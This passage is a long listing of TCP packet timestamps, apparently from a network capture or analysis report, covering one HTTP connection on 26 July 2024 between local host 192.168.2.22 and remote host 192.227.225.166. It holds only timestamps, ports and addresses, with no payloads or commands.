Jul 26, 2024 08:24:51.905426979 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.905443907 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.905443907 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.905580997 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.905591965 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.905611992 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.905622959 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.905656099 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.905848026 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.905864000 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.905874968 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.905885935 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.905895948 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.905905008 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.905906916 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.905919075 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.905925035 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.905930042 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.905941963 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.905946970 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.905970097 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.906357050 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.906368017 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.906378031 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.906399012 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.906409025 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.906409979 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.906420946 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.906433105 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.906436920 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.906456947 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.906771898 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.906785965 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.906795979 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.906807899 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.906819105 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.906821966 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.906831026 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.906841993 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.906842947 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.906852961 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.906866074 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.906893015 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.907272100 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.907283068 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.907294035 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.907305002 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.907315016 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.907320976 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.907325983 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.907336950 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.907345057 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.907347918 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.907360077 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.907371044 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.907372952 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.907382965 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.907392979 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.907397032 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.907469988 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.907809019 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.907823086 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.907869101 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.950687885 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.950722933 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.950730085 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.950736046 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.950748920 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.950759888 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.950772047 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.950798035 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.950833082 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.993705988 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.993732929 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.993745089 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.993756056 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.993767023 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.993777990 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.993792057 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.993803978 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.993838072 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.994031906 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.994043112 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.994054079 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.994066000 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.994076014 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.994081974 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.994087934 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.994098902 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.994102001 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.994108915 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.994122028 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.994123936 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.994165897 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.994499922 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.994510889 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.994519949 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.994530916 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.994541883 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.994546890 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.994573116 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.994735956 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.994746923 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.994756937 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.994767904 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.994777918 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.994782925 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.994787931 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.994805098 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.995160103 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.995171070 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.995181084 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.995191097 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.995201111 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.995212078 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.995217085 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.995217085 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.995222092 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.995233059 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.995244026 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.995254040 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.995265007 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.995265961 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.995276928 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.995282888 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.995326042 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.995666981 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.995678902 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.995719910 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.000327110 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.000344992 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.000355959 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.000394106 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.000505924 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.000518084 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.000528097 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.000539064 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.000550032 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.000554085 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.000583887 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.000720978 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.000732899 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.000742912 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.000755072 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.000772953 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.000802994 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.000880003 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.000890970 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.000900984 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.000911951 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.000941038 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.000941038 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.001009941 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.001020908 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.001059055 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.001127958 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.001138926 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.001148939 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.001161098 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.001171112 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.001174927 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.001182079 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.001194000 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.001204014 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.001240969 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.001488924 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.001571894 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.001584053 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.001594067 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.001605034 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.001615047 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.001626015 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.001655102 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.001729965 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.001740932 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.001750946 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.001761913 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.001771927 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.001771927 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.001782894 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.001796007 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.001799107 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.001820087 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.001939058 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.001955986 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.001986027 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.002021074 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.002032042 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.002043009 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.002065897 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.002218962 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.002229929 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.002238989 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.002249956 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.002260923 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.002263069 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.002271891 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.002283096 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.002295017 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.002317905 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.002475977 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.002485037 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.002523899 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.002568007 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.002644062 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.002654076 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.002685070 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.002770901 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.002921104 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.002933025 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.002963066 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.003001928 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.003012896 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.003022909 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.003034115 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.003048897 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.003077030 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.003160954 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.046135902 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.046154022 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.046174049 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.046185017 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.046195984 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.046209097 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.046242952 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.046253920 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.046253920 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.046284914 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.052031040 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.088927031 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.088960886 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.088973045 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.089006901 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.089019060 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.089030981 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.089067936 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.089133024 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.089144945 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.089174032 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.089283943 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.089296103 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.089308023 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.089319944 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.089324951 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.089330912 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.089353085 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.089524031 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.089534998 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.089551926 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.089561939 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.089566946 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.089572906 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.089581966 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.089591980 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.089612007 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.089870930 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.089883089 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.089895010 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.089905977 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.089910030 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.089916945 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.089927912 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.089936018 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.089960098 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.090128899 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.090148926 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.090195894 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.090229988 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.090240955 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.090265989 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.090421915 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.090434074 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.090444088 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.090455055 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.090461016 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.090466022 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.090487957 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.090759039 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.090770006 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.090780020 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.090791941 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.090801001 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.090802908 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.090812922 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.090822935 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.090823889 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.090832949 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.090840101 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.090845108 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.090862036 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.096004963 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.096040964 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.096055984 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.096060991 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.096115112 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.096117020 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.096162081 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.096173048 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.096195936 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.096380949 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.096429110 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.096432924 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.096446037 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.096457005 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.096468925 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.096491098 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.096508980 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.096594095 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.096606016 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.096616030 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.096631050 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.096837044 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.096848011 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.096858978 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.096869946 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.096873999 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.096887112 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.096898079 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.096903086 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.096924067 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.097153902 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.097166061 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.097176075 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.097187042 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.097193003 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.097201109 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.097212076 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.097219944 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.097223043 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.097234011 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.097240925 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.097269058 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.097697020 CEST	80	49172	192.227.225.166	192.168.2.22
